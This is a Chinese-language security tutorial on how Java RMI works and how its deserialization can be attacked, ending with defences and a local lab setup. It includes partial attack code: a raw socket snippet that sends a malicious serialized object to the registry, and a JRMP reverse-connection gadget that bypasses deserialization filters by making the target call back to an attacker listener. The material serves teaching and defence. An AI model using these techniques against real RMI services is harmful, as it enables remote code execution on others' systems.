RMI 工作原理及反序列化知识学习
字数 1531 2025-08-22 12:23:36

RMI 工作原理及反序列化漏洞分析

一、RMI 基础概念

RMI (Remote Method Invocation) 是 Java 提供的远程方法调用机制,它允许运行在一个 Java 虚拟机上的对象调用运行在另一个 Java 虚拟机上的对象的方法。RMI 的核心是通过 socket 编程、Java 序列化和反序列化、动态代理等技术实现的。

RMI 核心组件

  • 注册中心 (Registry): 负责服务的注册和查找
  • 服务端 (Server): 提供远程服务实现
  • 客户端 (Client): 调用远程服务

二、RMI 通信流程分析

1. 注册中心启动流程

Registry registry = LocateRegistry.createRegistry(1099);

关键类调用链:

  1. LocateRegistry.createRegistry()
  2. RegistryImpl.class 创建
  3. UnicastServerRef.class 初始化
  4. LiveRef.class 存储 ObjID 和 TCPEndpoint
  5. TCPTransport.class 创建 ServerSocket 监听端口

核心处理在 TCPTransport$AcceptLoop 线程中,不断接受连接并交给 ConnectionHandler 处理。

2. 服务端注册服务流程

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
ServiceImpl service = new ServiceImpl();
registry.bind("vince", service);

关键步骤:

  1. 通过 LocateRegistry.getRegistry() 获取 Registry 代理对象 (RegistryImpl_Stub)
  2. 调用 bind() 方法时:
    • 创建 socket 连接注册中心
    • 写入传输头信息 (Int:1246907721, Short:2)
    • 写入方法调用信息 (方法编号、参数等)
    • 注册中心反序列化参数并处理

3. 客户端调用流程

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IService service = (IService) registry.lookup("vince");
String result = service.queryName("jack");

关键步骤:

  1. 通过 lookup() 获取远程服务代理
  2. 调用方法时:
    • 新建 socket 连接服务端
    • 写入方法调用信息 (Int:-1, Long:方法hash)
    • 服务端通过反射执行本地方法并返回结果

三、RMI 反序列化漏洞分析

1. 漏洞原理

RMI 通信过程中,所有参数和返回值都通过 Java 序列化/反序列化传输。攻击者可以构造恶意序列化数据,在反序列化时触发远程代码执行。

关键反序列化点:

  1. 注册中心处理 bind()lookup() 等方法时
  2. 服务端处理远程方法调用时
  3. 客户端接收返回值时

2. 漏洞利用方式

方式一:直接攻击注册中心

构造恶意序列化数据发送给注册中心:

Socket socket = new Socket("127.0.0.1", 1099);
DataOutputStream dos = new DataOutputStream(socket.getOutputStream());
dos.writeInt(1246907721);
dos.writeShort(2);
dos.writeByte(75);
dos.flush();
// ... 构造恶意序列化数据 ...
oos.writeObject(generatePayload()); // 写入恶意对象

方式二:JRMP 反向连接

当目标存在反序列化防御时,可以利用 JRMP 反向连接绕过:

  1. 攻击者开启 JRMPListener 服务
  2. 向目标发送 RemoteObjectInvocationHandler 序列化对象
  3. 目标反序列化后会连接攻击者的 JRMPListener
  4. 攻击者发送二次攻击载荷
// 攻击者 JRMPListener
ServerSocket ss = new ServerSocket(8899);
Socket s = ss.accept();
// ... 处理连接并发送payload ...

// 发送给目标的恶意对象
public static Remote generate(){
    ObjID oi = new ObjID(0);
    TCPEndpoint te = new TCPEndpoint("127.0.0.1", 8899);
    LiveRef lr = new LiveRef(oi, te, false);
    UnicastRef us = new UnicastRef(lr);
    RemoteObjectInvocationHandler roih = new RemoteObjectInvocationHandler(us);
    Remote rm = (Remote) Proxy.newProxyInstance(Client.class.getClassLoader(), 
        new Class[]{Remote.class}, roih);
    return rm;
}

3. JDK 防御机制

从 JDK 8u121 开始引入了白名单机制,在反序列化时会调用 registryFilter 方法检查类是否允许:

// sun.rmi.registry.RegistryImpl
private static Status registryFilter(FilterInfo var0) {
    if (var0.depth() > 20L) {
        return Status.REJECTED;
    } else {
        String var1 = var0.serialClass().getName();
        if (var1.startsWith("java.rmi.server") || 
            var1.startsWith("[Ljava.rmi.server") || 
            var1.equals("java.util.Arrays$ArrayList")) {
            return Status.ALLOWED;
        } else {
            return var0.serialClass().isArray() ? Status.UNDECIDED : Status.REJECTED;
        }
    }
}

四、漏洞防御建议

  1. 升级 JDK 到最新版本
  2. 对 RMI 服务进行网络隔离
  3. 使用安全管理器配置严格的权限
  4. 替换 Java 默认的序列化机制
  5. 对 RMI 端口进行访问控制

五、实验环境搭建

1. 基础 RMI 服务搭建

远程接口定义:

public interface IService extends Remote {
    public String queryName(String no) throws RemoteException;
}

服务实现:

public class ServiceImpl extends UnicastRemoteObject implements IService {
    public ServiceImpl() throws RemoteException {}
    
    @Override
    public String queryName(String no) throws RemoteException {
        System.out.println("hello " + no);
        return String.valueOf(System.currentTimeMillis());
    }
}

注册中心:

public class register {
    public static void main(String[] args) {
        Registry registry = null;
        try {
            registry = LocateRegistry.createRegistry(1099);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        while(true);
    }
}

服务端:

public class Server {
    public static void main(String[] args) {
        Registry registry = null;
        try {
            registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            ServiceImpl service = new ServiceImpl();
            registry.bind("vince", service);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

客户端:

public class Client {
    public static void main(String[] args) {
        Registry registry = null;
        try {
            registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            IService service = (IService) registry.lookup("vince");
            String result = service.queryName("jack");
            System.out.println("result from remote : " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

六、总结

RMI 反序列化漏洞是 Java 安全中的一个重要攻击面,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。理解 RMI 的通信机制和序列化过程对于防御此类攻击至关重要。在实际应用中,应当采取多层次的防御措施,包括及时更新补丁、限制网络访问、使用安全配置等。

RMI 工作原理及反序列化漏洞分析 一、RMI 基础概念 RMI (Remote Method Invocation) 是 Java 提供的远程方法调用机制,它允许运行在一个 Java 虚拟机上的对象调用运行在另一个 Java 虚拟机上的对象的方法。RMI 的核心是通过 socket 编程、Java 序列化和反序列化、动态代理等技术实现的。 RMI 核心组件 注册中心 (Registry) : 负责服务的注册和查找 服务端 (Server) : 提供远程服务实现 客户端 (Client) : 调用远程服务 二、RMI 通信流程分析 1. 注册中心启动流程 关键类调用链: LocateRegistry.createRegistry() RegistryImpl.class 创建 UnicastServerRef.class 初始化 LiveRef.class 存储 ObjID 和 TCPEndpoint TCPTransport.class 创建 ServerSocket 监听端口 核心处理在 TCPTransport$AcceptLoop 线程中,不断接受连接并交给 ConnectionHandler 处理。 2. 服务端注册服务流程 关键步骤: 通过 LocateRegistry.getRegistry() 获取 Registry 代理对象 (RegistryImpl_ Stub) 调用 bind() 方法时: 创建 socket 连接注册中心 写入传输头信息 (Int:1246907721, Short:2) 写入方法调用信息 (方法编号、参数等) 注册中心反序列化参数并处理 3. 客户端调用流程 关键步骤: 通过 lookup() 获取远程服务代理 调用方法时: 新建 socket 连接服务端 写入方法调用信息 (Int:-1, Long:方法hash) 服务端通过反射执行本地方法并返回结果 三、RMI 反序列化漏洞分析 1. 漏洞原理 RMI 通信过程中,所有参数和返回值都通过 Java 序列化/反序列化传输。攻击者可以构造恶意序列化数据,在反序列化时触发远程代码执行。 关键反序列化点: 注册中心处理 bind() 、 lookup() 等方法时 服务端处理远程方法调用时 客户端接收返回值时 2. 漏洞利用方式 方式一:直接攻击注册中心 构造恶意序列化数据发送给注册中心: 方式二:JRMP 反向连接 当目标存在反序列化防御时,可以利用 JRMP 反向连接绕过: 攻击者开启 JRMPListener 服务 向目标发送 RemoteObjectInvocationHandler 序列化对象 目标反序列化后会连接攻击者的 JRMPListener 攻击者发送二次攻击载荷 3. JDK 防御机制 从 JDK 8u121 开始引入了白名单机制,在反序列化时会调用 registryFilter 方法检查类是否允许: 四、漏洞防御建议 升级 JDK 到最新版本 对 RMI 服务进行网络隔离 使用安全管理器配置严格的权限 替换 Java 默认的序列化机制 对 RMI 端口进行访问控制 五、实验环境搭建 1. 基础 RMI 服务搭建 远程接口定义 : 服务实现 : 注册中心 : 服务端 : 客户端 : 六、总结 RMI 反序列化漏洞是 Java 安全中的一个重要攻击面,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。理解 RMI 的通信机制和序列化过程对于防御此类攻击至关重要。在实际应用中,应当采取多层次的防御措施,包括及时更新补丁、限制网络访问、使用安全配置等。